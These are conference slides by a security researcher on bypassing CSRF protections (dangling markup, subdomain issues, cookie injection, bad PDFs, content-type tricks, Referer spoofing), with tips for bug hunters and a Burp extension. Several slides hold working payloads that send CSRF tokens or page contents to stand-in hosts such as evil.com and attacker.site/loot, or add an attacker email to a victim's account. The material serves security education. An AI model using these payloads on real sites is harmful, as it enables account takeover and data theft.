Neat tricks to bypass CSRF-protection

Mikhail Egorov @0ang3el
About me

- AppSec Engineer @ Ingram Micro Cloud
- Bug hunter & Security researcher
- Conference speaker https://www.slideshare.net/0ang3el

@0ang3el
CSRF-protection bypasses that worked for me in 2016/2017

EasyCSRF extension for Burp
Why CSRF-attacks works in 2017?

- A lot of WebApps still use cookies for session management
- CSRF-protection bypasses
- SameSite cookies feature not widely implemented
  - Supported only by Chrome and Opera browsers
  - Changes are required on the server-side
CSRF in 2017

- Will be excluded from OWASP Top 10 Project 2017
- **P2 (High)** category in Bugcrowd VRT* (App-Wide CSRF)

* [https://bugcrowd.com/vulnerability-rating-taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy)
Popular CSRF-protections

- CSRF token
- Double submit cookie
- Content-Type based protection
- Referer-based protection
- Password confirmation (websudo)
- SameSite Cookies (Chrome, Opera)
CSRF-protections bypasses

- XSS
- Dangling markup
- Vulnerable subdomains
- Cookie injection
- Change Content-Type
- Non-simple Content-Type
- Bad PDF
- Referer spoof
## CSRF bypasses – still work for me

<table>
<thead>
<tr>
<th>CSRF Tokens</th>
<th>Double Submit Cookie</th>
<th>CT-based</th>
<th>Referer-based</th>
<th>SameSite Cookies</th>
</tr>
</thead>
<tbody>
<tr>
<td>XSS</td>
<td>All</td>
<td>All</td>
<td>All</td>
<td>All</td>
</tr>
<tr>
<td>Dangling markup</td>
<td>All</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Subdomain issues</td>
<td>All</td>
<td>All</td>
<td>All</td>
<td>-</td>
</tr>
<tr>
<td>Cookie Injection</td>
<td>-</td>
<td>All</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Change CT</td>
<td>-</td>
<td>-</td>
<td>All</td>
<td>-</td>
</tr>
<tr>
<td>Non-simple CT</td>
<td>-</td>
<td>-</td>
<td>All with Flash plugin, IE11/FF ESR with Pdf plugin</td>
<td>-</td>
</tr>
<tr>
<td>Bad Pdf</td>
<td>IE11/FF ESR with Pdf plugin</td>
<td>-</td>
<td>IE11/FF ESR with Pdf plugin</td>
<td>-</td>
</tr>
<tr>
<td>Spoof Referer</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>IE11/FF ESR with Pdf plugin, Edge</td>
</tr>
</tbody>
</table>

**Notes:**
- All – works for all browsers
- All* – All browsers except browsers that support SameSite Cookies (Chrome & Opera)
XSS in WebApp allows to bypass the majority of CSRF-protections

Just deal with it!!!
WebApp has HTML injection but not XSS (CSP, ...)
The attacker can leak CSRF-token

```html
<img src='https://evil.com/log_csrf?html=
<form action='http://evil.com/log_csrf'><textarea>
```
Suppose subdomain foo.example.com is vulnerable to XSS or subdomain takeover or cookie injection.

The attacker can bypass:
- CSRF-token protection
- Double-submit cookie protection
- Content-Type based protection
WebApp uses **CORS** for interaction with subdomains

```
Access-Control-Allow-Origin: https://foo.example.com
Access-Control-Allow-Credentials: true
```

The attacker can read CSRF-token
There is an XSS on foo.example.com
Main domain contains crossdomain.xml

```xml
<cross-domain-policy>
  <allow-access-from domain="*.example.com" />
</cross-domain-policy>
```

The attacker can upload JS files to foo.example.com
The attacker can utilize Service Worker for foo.example.com to read CSRF-token through Flash

```javascript
var url = "https://attacker.com/bad.swf";
onfetch = (e) => {
  e.respondWith(fetch(url));
}
```

Amazon CSRF - [https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/](https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/)
The attacker can inject cookies for parent subdomain and desired path.
Browser will choose cookie that has specific path (injected one).

He can bypass double submit cookie CSRF-protection.
PDF plugin from Adobe support FormCalc scripting
Adobe PDF plugin currently works in IE11 and Firefox ESR

get() and post() methods of FormCalc allow to ex-filtrate CSRF-token

Kudos to @insertScript
Suppose the attacker can upload PDF file to example.com and share it.

Uploaded file is accessible through API from example.com.

**Tip:** The attacker tries to upload PDF file as file of another format (image file).

PDF plugin doesn’t care about **Content-Type** or **Content-Disposition** headers … it just works …
Bypass with bad PDF (4/8)

```javascript
<Script contentType='application/x-formcalc'>
    var content = GET("https://example.com/Settings.action");
    Post("http://attacker.site/loot",content,"text/plain");
</script>
```
Nothing to see here!

<embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'>

https://attacker.com/csrf-pdf.html
The attacker can bypass double submit cookie protection through **cookies injection**

**Variants of cookies injection**
- CRLF-injection
- Browser bugs (like CVE-2016-9078 in Firefox)
- Etc.
Developers seriously assume that non-standard data format in the body (i.e. binary) stops CSRF

Sometimes backend doesn’t validate Content-Type header 😊
POST /user/add/note HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com
Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081;
Connection: close
Content-Type: application/x-thrift
Content-Length: 43

addNote r
Bypass with PDF plugin (6/8)

```javascript
var request = new XMLHttpRequest();
request.open('POST', 'https://example.com/add/note', true);
request.withCredentials = true;
request.setRequestHeader("Content-type", "text/plain");
var data = [0x80,0x01,0x00,0x01,0x00,0x00,0x07,0x67,0x65,0x74,0x55,0x73,0x65,0x72,0x00,0x00,0x00,0x00,0x0b,0x00,0x01,0x00,0x00,0x00,0x0b,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07];
var bin = new Uint8Array(data.length);
for (var i = 0; i < data.length; i++) {
    bin[i] = parseInt(data[i], 16);
}
request.send(bin);
</script>

https://attacker.com/csrf-thrift.html
Via HTML forms or XHR api the attacker can send only “simple” content types

- text/plain
- application/x-www-form-urlencoded
- multipart/form-data
How to send arbitrary Content-Type header?
- Bugs in browsers (famous `navigator.sendBeacon` in Chrome)
- Flash plugin + 307 redirect
- PDF plugin + 307 redirect
- Some backend frameworks support URL-parameters to redefine Content-Type

[http://cxf.apache.org/docs/jax-rs.html#JAX-RS-Debugging](http://cxf.apache.org/docs/jax-rs.html#JAX-RS-Debugging)
Bug in Chrome
https://bugs.chromium.org/p/chromium/issues/detail?id=490015

Publicly known for 2 years (2015-2017) - WTF!!!

navigator.sendBeacon() call allowed to send POST request with arbitrary content type
Bypass with arbitrary CT (7/8)

```
<script>
  function jsonreq() {
    var data = '{"action":"add-user-email","Email":"attacker@evil.com"}';
    var blob = new Blob([data], {type : 'application/json;charset=utf-8'});
    navigator.sendBeacon('https://example.com/home/rpc', blob);
  }
  jsonreq();
</script>
```

https://attacker.com/csrf-sendbeacon.html
Bypass with arbitrary CT (7/8)

Bypass with Referer spoof (8/8)

- Bug in MS Edge kudos to @magicmac2000
  https://www.brokenbrowser.com/referer-spoofing-patch-bypass/

- It still works, but for GET requests only 😞

- Maybe your backend doesn’t distinguish GET and POST requests? 😊
Bypass with Referer spoof (8/8)

```html
<script contentType='application/x-formcalc'>
  Post("http://attacker.com:8888/redirect",
    {
      "action": "add-user-email",
      "Email": "attacker@evil.com"
    },
    "application/json\n\nReferer; http://example.com"
  )
</script>
```
Bypass with Referer spoof (8/8)

- PDF plugin will send HTTP header

<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Referer</td>
<td><a href="http://example.com">http://example.com</a></td>
</tr>
</tbody>
</table>

- Some backends (e.g. Jboss / WildFly) treat space as colon (end of the header name)

<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Referer</td>
<td><a href="http://example.com">http://example.com</a></td>
</tr>
</tbody>
</table>

Tips for bughunters

- There are a lot of APIs that have CSRF-protection based on content type
- Check subdomains for vulnerabilities (XSS, subdomain takeover, cookie injection)
- Trick with PDF uploading works well
- Convert url-encoded body with CSRF-token to JSON format without CSRF-token
Tips for bughunters

Good news! We can automate some checks!
EasyCSRF for Burp

- EasyCSRF works for Burp Suite Free Edition, 223 SLOC in Jython
- Download from [https://github.com/0ang3el/EasyCSRF](https://github.com/0ang3el/EasyCSRF)

- Works as Proxy Listener (IProxyListener)
  - Modifies requests on the fly (removes CSRF parameters/headers, changes method, etc.)
  - Highlights modified requests in Proxy History
  - You can visually judge in browser which modified requests are failed/succeeded (error messages, no modification occurred, etc.)
## Enable extension

**Remove CSRF headers**
Check to remove headers with CSRF tokens from all requests.

**Remove CSRF parameters**
Check to remove URL/body parameters with CSRF tokens from all requests. URL-encoded, multipart, JSON.

**Change HTTP method to POST**
Check to convert PUT/DELETE/PATCH method to POST in all requests.

**Change media type to json**
Check to convert body to json and set Content-Type to application/json in url-encoded requests.

**Change Content-Type to text/plain**
Check to set Content-Type to text/plain in request with non-simple media type. Simple media types - appli...
EasyCSRF for Burp
EasyCSRF for Burp

1. Change PUT to POST method
2. Remove Origin header
3. Highlight request in Proxy history
Q&A